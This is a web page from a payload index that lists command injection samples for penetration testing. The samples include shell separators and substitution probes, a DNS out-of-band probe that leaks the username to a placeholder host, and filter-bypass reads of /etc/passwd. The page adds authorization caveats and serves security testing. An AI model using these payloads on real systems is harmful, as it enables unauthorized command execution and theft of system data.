vulns.cofield index
Enter
Contribute
Payload class · cmdi

Command Injection

Separators and substitution to break into OS command execution. Use OOB (interactsh) to confirm blind cases; the last entries bypass naive space/keyword filters.

rceosblindbypass
Stable IDpayload:cmdiLast updatedLast verifiedLegacy review pendingProvenanceSource-linked
Context first

Use as a detection primitive

Separators and substitution to break into OS command execution. Use OOB (interactsh) to confirm blind cases; the last entries bypass naive space/keyword filters.

Do not copy blind

Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.

Samples

Recorded payloads

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

; id
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

| id
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

|| id
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

&& id
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

$(id)
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

`id`
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.


 id
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

; nslookup $(whoami).OOB.example.com
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

cat${IFS}/etc/passwd
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

;c\at /et\c/pas\swd
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Source

Attribution

Open the primary collection ↗

Version history: normalized permanent page created 2026-08-20.